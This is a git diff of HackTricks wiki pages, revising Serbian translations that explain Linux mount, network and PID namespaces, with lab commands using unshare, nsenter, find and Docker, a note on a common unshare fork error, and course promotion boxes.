||||
{% endcode %}
|
||||
|
||||
### Ući u Mount namespace
|
||||
```bash
|
||||
nsenter -m TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Takođe, možete **ući u drugi procesni namespace samo ako ste root**. I **ne možete** **ući** u drugi namespace **bez deskriptora** koji na njega ukazuje (poput `/proc/self/ns/mnt`).
|
||||
Takođe, možete **ući u drugi procesni prostor samo ako ste root**. I **ne možete** **ući** u drugi prostor **bez deskriptora** koji na njega ukazuje (kao što je `/proc/self/ns/mnt`).
|
||||
|
||||
Zato što su novi mount-ovi dostupni samo unutar namespace-a, moguće je da namespace sadrži osetljive informacije koje su dostupne samo iz njega.
|
||||
Pošto su novi monti dostupni samo unutar prostora, moguće je da prostor sadrži osetljive informacije koje mogu biti dostupne samo iz njega.
|
||||
|
||||
### Montiraj nešto
|
||||
### Montirajte nešto
|
||||
```bash
|
||||
# Generate new mount ns
|
||||
unshare -m /bin/bash
|
||||
|
@ -110,20 +101,21 @@ ls /tmp/mount_ns_example/test # Exists
|
|||
mount | grep tmpfs # Cannot see "tmpfs on /tmp/mount_ns_example"
|
||||
ls /tmp/mount_ns_example/test # Doesn't exist
|
||||
```
|
||||
## Reference
|
||||
## References
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,60 +1,61 @@
|
|||
# Network Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Osnovne informacije
|
||||
## Basic Information
|
||||
|
||||
Mrežni namespace je funkcionalnost Linux kernela koja omogućava izolaciju mrežnog sloja, omogućavajući **svakom mrežnom namespace-u da ima sopstvenu nezavisnu mrežnu konfiguraciju**, interfejse, IP adrese, rutne tabele i pravila za zaštitu od požara. Ova izolacija je korisna u raznim scenarijima, kao što je kontejnerizacija, gde svaki kontejner treba da ima sopstvenu mrežnu konfiguraciju, nezavisnu od drugih kontejnera i host sistema.
|
||||
Mrežni prostor imena je funkcija Linux jezgra koja obezbeđuje izolaciju mrežnog steka, omogućavajući **svakom mrežnom prostoru imena da ima svoju nezavisnu mrežnu konfiguraciju**, interfejse, IP adrese, tabele usmeravanja i pravila vatrozida. Ova izolacija je korisna u raznim scenarijima, kao što je kontejnerizacija, gde svaki kontejner treba da ima svoju mrežnu konfiguraciju, nezavisno od drugih kontejnera i host sistema.
|
||||
|
||||
### Kako radi:
|
||||
### How it works:
|
||||
|
||||
1. Kada se kreira novi mrežni namespace, on počinje sa **potpuno izolovanim mrežnim slojem**, sa **bez mrežnih interfejsa** osim petljačkog interfejsa (lo). To znači da procesi koji se izvršavaju u novom mrežnom namespace-u ne mogu komunicirati sa procesima u drugim namespace-ima ili host sistemu po default-u.
|
||||
2. **Virtuelni mrežni interfejsi**, kao što su veth parovi, mogu se kreirati i premestiti između mrežnih namespace-ova. Ovo omogućava uspostavljanje mrežne konekcije između namespace-ova ili između namespace-a i host sistema. Na primer, jedan kraj veth para može biti smešten u mrežnom namespace-u kontejnera, a drugi kraj može biti povezan sa **mostom** ili drugim mrežnim interfejsom u host namespace-u, pružajući mrežnu konekciju kontejneru.
|
||||
3. Mrežni interfejsi unutar namespace-a mogu imati **svoje IP adrese, rutne tabele i pravila za zaštitu od požara**, nezavisno od drugih namespace-a. Ovo omogućava procesima u različitim mrežnim namespace-ima da imaju različite mrežne konfiguracije i da funkcionišu kao da se izvršavaju na odvojenim mrežnim sistemima.
|
||||
4. Procesi mogu da se premeštaju između namespace-a koristeći `setns()` sistemski poziv, ili da kreiraju nove namespace-e koristeći `unshare()` ili `clone()` sistemski poziv sa `CLONE_NEWNET` zastavicom. Kada proces pređe u novi namespace ili ga kreira, počeće da koristi mrežnu konfiguraciju i interfejse povezane sa tim namespace-om.
|
||||
1. Kada se kreira novi mrežni prostor imena, počinje sa **potpuno izolovanim mrežnim stekom**, sa **nema mrežnih interfejsa** osim za loopback interfejs (lo). To znači da procesi koji se izvršavaju u novom mrežnom prostoru imena ne mogu komunicirati sa procesima u drugim prostorima imena ili host sistemu po defaultu.
|
||||
2. **Virtuelni mrežni interfejsi**, kao što su veth parovi, mogu se kreirati i premestiti između mrežnih prostora imena. To omogućava uspostavljanje mrežne povezanosti između prostora imena ili između prostora imena i host sistema. Na primer, jedan kraj veth para može biti postavljen u mrežni prostor imena kontejnera, a drugi kraj može biti povezan sa **mostom** ili drugim mrežnim interfejsom u host prostoru imena, obezbeđujući mrežnu povezanost kontejneru.
|
||||
3. Mrežni interfejsi unutar prostora imena mogu imati svoje **vlastite IP adrese, tabele usmeravanja i pravila vatrozida**, nezavisno od drugih prostora imena. To omogućava procesima u različitim mrežnim prostorima imena da imaju različite mrežne konfiguracije i funkcionišu kao da se izvršavaju na odvojenim umreženim sistemima.
|
||||
4. Procesi mogu prelaziti između prostora imena koristeći `setns()` sistemski poziv, ili kreirati nove prostore imena koristeći `unshare()` ili `clone()` sistemske pozive sa `CLONE_NEWNET` zastavicom. Kada proces pređe u novi prostor imena ili ga kreira, počeće da koristi mrežnu konfiguraciju i interfejse povezane sa tim prostorom imena.
|
||||
|
||||
## Lab:
|
||||
|
||||
### Kreiranje različitih Namespace-ova
|
||||
### Create different Namespaces
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -n [--mount-proc] /bin/bash
|
||||
# Run ifconfig or ip -a
|
||||
```
|
||||
Montiranjem nove instance `/proc` fajl sistema, korišćenjem parametra `--mount-proc`, obezbeđujete da nova namespace za montiranje ima **tačan i izolovan prikaz informacija o procesu specifičnih za tu namespace**.
|
||||
Montiranjem nove instance `/proc` datotečnog sistema ako koristite parametar `--mount-proc`, osiguravate da nova mount namespace ima **tačan i izolovan prikaz informacija o procesima specifičnim za tu namespace**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Greška: bash: fork: Ne može se alocirati memorija</summary>
|
||||
<summary>Greška: bash: fork: Ne može da alocira memoriju</summary>
|
||||
|
||||
Kada se `unshare` izvršava bez opcije `-f`, javlja se greška zbog načina na koji Linux rukuje novim PID (Process ID) namespace-om. Ključni detalji i rešenje su opisani u nastavku:
|
||||
Kada se `unshare` izvrši bez `-f` opcije, dolazi do greške zbog načina na koji Linux obrađuje nove PID (ID procesa) namespace. Ključni detalji i rešenje su navedeni u nastavku:
|
||||
|
||||
1. **Objašnjenje problema**:
|
||||
- Linux kernel omogućava procesu da kreira nove namespace-ove koristeći `unshare` sistemski poziv. Međutim, proces koji pokreće kreiranje novog PID namespace-a (nazvan "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine.
|
||||
- Pokretanje `%unshare -p /bin/bash%` pokreće `/bin/bash` u istom procesu kao i `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID namespace-u.
|
||||
- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces završi, pokreće se čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi. Linux kernel će tada onemogućiti alokaciju PID-a u tom namespace-u.
|
||||
- Linux kernel omogućava procesu da kreira nove namespace koristeći `unshare` sistemski poziv. Međutim, proces koji inicira kreiranje novog PID namespace (poznat kao "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine.
|
||||
- Pokretanjem `%unshare -p /bin/bash%` pokreće se `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID namespace.
|
||||
- Prvi podproces `/bin/bash` u novom namespace postaje PID 1. Kada ovaj proces izađe, pokreće čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja orfanskih procesa. Linux kernel će tada onemogućiti alokaciju PID-a u tom namespace-u.
|
||||
|
||||
2. **Posledica**:
|
||||
- Izlazak PID 1 iz novog namespace-a dovodi do čišćenja `PIDNS_HASH_ADDING` zastavice. To rezultira neuspehom funkcije `alloc_pid` pri alociranju novog PID-a prilikom kreiranja novog procesa, što dovodi do greške "Ne može se alocirati memorija".
|
||||
- Izlazak PID 1 u novom namespace dovodi do čišćenja `PIDNS_HASH_ADDING` oznake. To rezultira neuspehom `alloc_pid` funkcije da alocira novi PID prilikom kreiranja novog procesa, proizvodeći grešku "Ne može da alocira memoriju".
|
||||
|
||||
3. **Rešenje**:
|
||||
- Problem se može rešiti korišćenjem opcije `-f` sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a.
|
||||
- Izvršavanje `%unshare -fp /bin/bash%` osigurava da sam `unshare` komanda postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno smešteni unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu alokaciju PID-a.
|
||||
- Problem se može rešiti korišćenjem `-f` opcije sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace.
|
||||
- Izvršavanje `%unshare -fp /bin/bash%` osigurava da `unshare` komanda sama postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu alokaciju PID-a.
|
||||
|
||||
Obezbeđivanjem da `unshare` radi sa opcijom `-f`, novi PID namespace se pravilno održava, omogućavajući `/bin/bash` i njegovim podprocesima da rade bez greške alociranja memorije.
|
||||
Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno održava, omogućavajući `/bin/bash` i njegove podprocese da funkcionišu bez susretanja greške u alokaciji memorije.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -63,20 +64,12 @@ Obezbeđivanjem da `unshare` radi sa opcijom `-f`, novi PID namespace se praviln
|
|||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
# Run ifconfig or ip -a
|
||||
```
|
||||
###  Proverite u kojem namespace-u se nalazi vaš proces
|
||||
|
||||
Da biste proverili u kojem namespace-u se nalazi vaš proces, možete koristiti sledeću komandu:
|
||||
|
||||
```bash
|
||||
ls -l /proc/$$/ns/net
|
||||
```
|
||||
|
||||
Ova komanda će vam prikazati simboličku vezu koja pokazuje na trenutni namespace mreže u kojem se nalazi vaš proces.
|
||||
###  Proverite u kojem je namespace vaš proces
|
||||
```bash
|
||||
ls -l /proc/self/ns/net
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
|
||||
```
|
||||
### Pronađi sve mrežne namespace-ove
|
||||
### Pronađite sve mrežne imenske prostore
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -84,29 +77,28 @@ sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null |
|
|||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% code %}
|
||||
|
||||
### Uđite unutar mrežnog namespace-a
|
||||
|
||||
{% endcode %}
|
||||
|
||||
### Uđite unutar mrežnog imenskog prostora
|
||||
```bash
|
||||
nsenter -n TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Takođe, možete **ući u drugi proces namespace samo ako ste root**. I **ne možete** **ući** u drugi namespace **bez deskriptora** koji na njega pokazuje (poput `/proc/self/ns/net`).
|
||||
Takođe, možete **ući u drugi procesni prostor imena samo ako ste root**. I **ne možete** **ući** u drugo ime prostora **bez deskriptora** koji na njega pokazuje (kao što je `/proc/self/ns/net`).
|
||||
|
||||
## Reference
|
||||
## References
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite videti **oglašavanje vaše kompanije u HackTricks-u** ili **preuzeti HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,39 @@
|
|||
# PID Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Osnovne informacije
|
||||
## Basic Information
|
||||
|
||||
PID (Process IDentifier) namespace je funkcionalnost u Linux kernelu koja omogućava izolaciju procesa omogućavajući grupi procesa da ima svoj set jedinstvenih PID-ova, odvojenih od PID-ova u drugim namespace-ima. Ovo je posebno korisno u kontejnerizaciji, gde je izolacija procesa ključna za bezbednost i upravljanje resursima.
|
||||
PID (Process IDentifier) namespace je funkcija u Linux kernelu koja obezbeđuje izolaciju procesa omogućavajući grupi procesa da imaju svoj set jedinstvenih PID-ova, odvojenih od PID-ova u drugim namespace-ima. Ovo je posebno korisno u kontejnerizaciji, gde je izolacija procesa ključna za bezbednost i upravljanje resursima.
|
||||
|
||||
Kada se kreira novi PID namespace, prvom procesu u tom namespace-u se dodeljuje PID 1. Taj proces postaje "init" proces novog namespace-a i odgovoran je za upravljanje ostalim procesima unutar namespace-a. Svaki sledeći proces kreiran unutar namespace-a će imati jedinstveni PID unutar tog namespace-a, i ovi PID-ovi će biti nezavisni od PID-ova u drugim namespace-ima.
|
||||
Kada se kreira novi PID namespace, prvi proces u tom namespace-u dobija PID 1. Ovaj proces postaje "init" proces novog namespace-a i odgovoran je za upravljanje drugim procesima unutar namespace-a. Svaki sledeći proces kreiran unutar namespace-a će imati jedinstven PID unutar tog namespace-a, a ovi PID-ovi će biti nezavisni od PID-ova u drugim namespace-ima.
|
||||
|
||||
Iz perspektive procesa unutar PID namespace-a, on može videti samo druge procese u istom namespace-u. Nije svestan procesa u drugim namespace-ima i ne može da interaguje sa njima koristeći tradicionalne alate za upravljanje procesima (npr. `kill`, `wait`, itd.). Ovo pruža nivo izolacije koji pomaže u sprečavanju međusobnog ometanja procesa.
|
||||
Sa stanovišta procesa unutar PID namespace-a, može videti samo druge procese u istom namespace-u. Nije svesno procesa u drugim namespace-ima i ne može interagovati s njima koristeći tradicionalne alate za upravljanje procesima (npr., `kill`, `wait`, itd.). Ovo obezbeđuje nivo izolacije koji pomaže u sprečavanju ometanja procesa jednih drugima.
|
||||
|
||||
### Kako radi:
|
||||
### How it works:
|
||||
|
||||
1. Kada se kreira novi proces (npr. korišćenjem `clone()` sistemskog poziva), proces može biti dodeljen novom ili postojećem PID namespace-u. **Ako se kreira novi namespace, proces postaje "init" proces tog namespace-a**.
|
||||
2. **Kernel** održava **mapiranje između PID-ova u novom namespace-u i odgovarajućih PID-ova** u roditeljskom namespace-u (tj. namespace-u iz kojeg je novi namespace kreiran). Ovo mapiranje **omogućava kernelu da prevodi PID-ove kada je to potrebno**, kao što je slanje signala između procesa u različitim namespace-ima.
|
||||
1. Kada se kreira novi proces (npr., korišćenjem `clone()` sistemskog poziva), proces može biti dodeljen novom ili postojećem PID namespace-u. **Ako se kreira novi namespace, proces postaje "init" proces tog namespace-a**.
|
||||
2. **Kernel** održava **mapiranje između PID-ova u novom namespace-u i odgovarajućih PID-ova** u roditeljskom namespace-u (tj. namespace-u iz kojeg je novi namespace kreiran). Ovo mapiranje **omogućava kernelu da prevodi PID-ove kada je to potrebno**, kao kada se šalju signali između procesa u različitim namespace-ima.
|
||||
3. **Procesi unutar PID namespace-a mogu videti i interagovati samo sa drugim procesima u istom namespace-u**. Nisu svesni procesa u drugim namespace-ima, a njihovi PID-ovi su jedinstveni unutar njihovog namespace-a.
|
||||
4. Kada se **PID namespace uništi** (npr. kada "init" proces namespace-a izađe), **svi procesi unutar tog namespace-a se terminiraju**. Ovo osigurava da se svi resursi povezani sa namespace-om pravilno očiste.
|
||||
4. Kada se **PID namespace uništi** (npr., kada "init" proces namespace-a izađe), **svi procesi unutar tog namespace-a se prekidaju**. Ovo osigurava da se svi resursi povezani sa namespace-om pravilno očiste.
|
||||
|
||||
## Lab:
|
||||
|
||||
### Kreiranje različitih Namespace-ova
|
||||
### Create different Namespaces
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
|
@ -39,46 +41,38 @@ sudo unshare -pf --mount-proc /bin/bash
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary>Greška: bash: fork: Ne može se alocirati memorija</summary>
|
||||
<summary>Error: bash: fork: Cannot allocate memory</summary>
|
||||
|
||||
Kada se `unshare` izvršava bez opcije `-f`, javlja se greška zbog načina na koji Linux obrađuje nove PID (Process ID) namespace-ove. Ključni detalji i rešenje su opisani u nastavku:
|
||||
Kada se `unshare` izvrši bez `-f` opcije, dolazi do greške zbog načina na koji Linux upravlja novim PID (ID procesa) prostorima imena. Ključni detalji i rešenje su navedeni u nastavku:
|
||||
|
||||
1. **Objašnjenje problema**:
|
||||
- Linux kernel omogućava procesu da kreira nove namespace-ove koristeći `unshare` sistemski poziv. Međutim, proces koji pokreće kreiranje novog PID namespace-a (nazvan "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine.
|
||||
- Pokretanje `%unshare -p /bin/bash%` pokreće `/bin/bash` u istom procesu kao i `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi se nalaze u originalnom PID namespace-u.
|
||||
- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces završi, pokreće se čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi. Linux kernel tada onemogućava alokaciju PID-ova u tom namespace-u.
|
||||
- Linux kernel omogućava procesu da kreira nove prostore imena koristeći `unshare` sistemski poziv. Međutim, proces koji inicira kreiranje novog PID prostora imena (poznat kao "unshare" proces) ne ulazi u novi prostor imena; samo njegovi podprocesi to čine.
|
||||
- Pokretanjem `%unshare -p /bin/bash%` pokreće se `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID prostoru imena.
|
||||
- Prvi podproces `/bin/bash` u novom prostoru imena postaje PID 1. Kada ovaj proces izađe, pokreće čišćenje prostora imena ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi. Linux kernel će tada onemogućiti alokaciju PID-a u tom prostoru imena.
|
||||
|
||||
2. **Posledica**:
|
||||
- Izlazak PID 1 iz novog namespace-a dovodi do čišćenja `PIDNS_HASH_ADDING` zastavice. To rezultira neuspehom funkcije `alloc_pid` pri alociranju novog PID-a prilikom kreiranja novog procesa, što dovodi do greške "Ne može se alocirati memorija".
|
||||
- Izlazak PID 1 u novom prostoru imena dovodi do čišćenja `PIDNS_HASH_ADDING` oznake. To rezultira neuspehom funkcije `alloc_pid` da alocira novi PID prilikom kreiranja novog procesa, što proizvodi grešku "Cannot allocate memory".
|
||||
|
||||
3. **Rešenje**:
|
||||
- Problem se može rešiti korišćenjem opcije `-f` sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a.
|
||||
- Izvršavanje `%unshare -fp /bin/bash%` osigurava da sam `unshare` komanda postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno smešteni unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu alokaciju PID-ova.
|
||||
- Problem se može rešiti korišćenjem `-f` opcije sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID prostora imena.
|
||||
- Izvršavanje `%unshare -fp /bin/bash%` osigurava da sam `unshare` komanda postane PID 1 u novom prostoru imena. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog prostora imena, sprečavajući preuranjeni izlazak PID 1 i omogućavajući normalnu alokaciju PID-a.
|
||||
|
||||
Osiguravanjem da `unshare` radi sa opcijom `-f`, novi PID namespace se pravilno održava, omogućavajući `/bin/bash` i njegovim podprocesima da rade bez greške alokacije memorije.
|
||||
Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID prostor imena se ispravno održava, omogućavajući `/bin/bash` i njegove podprocese da funkcionišu bez susretanja greške u alokaciji memorije.
|
||||
|
||||
</details>
|
||||
|
||||
Montiranjem nove instance `/proc` fajl sistema, ako koristite parametar `--mount-proc`, obezbeđujete da novi mount namespace ima **tačan i izolovan prikaz informacija o procesima specifičnim za taj namespace**.
|
||||
Montiranjem nove instance `/proc` datotečnog sistema ako koristite parametar `--mount-proc`, osiguravate da novi prostor imena montiranja ima **tačan i izolovan prikaz informacija o procesima specifičnim za taj prostor imena**.
|
||||
|
||||
#### Docker
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  Proverite u kojem namespace-u se nalazi vaš proces
|
||||
|
||||
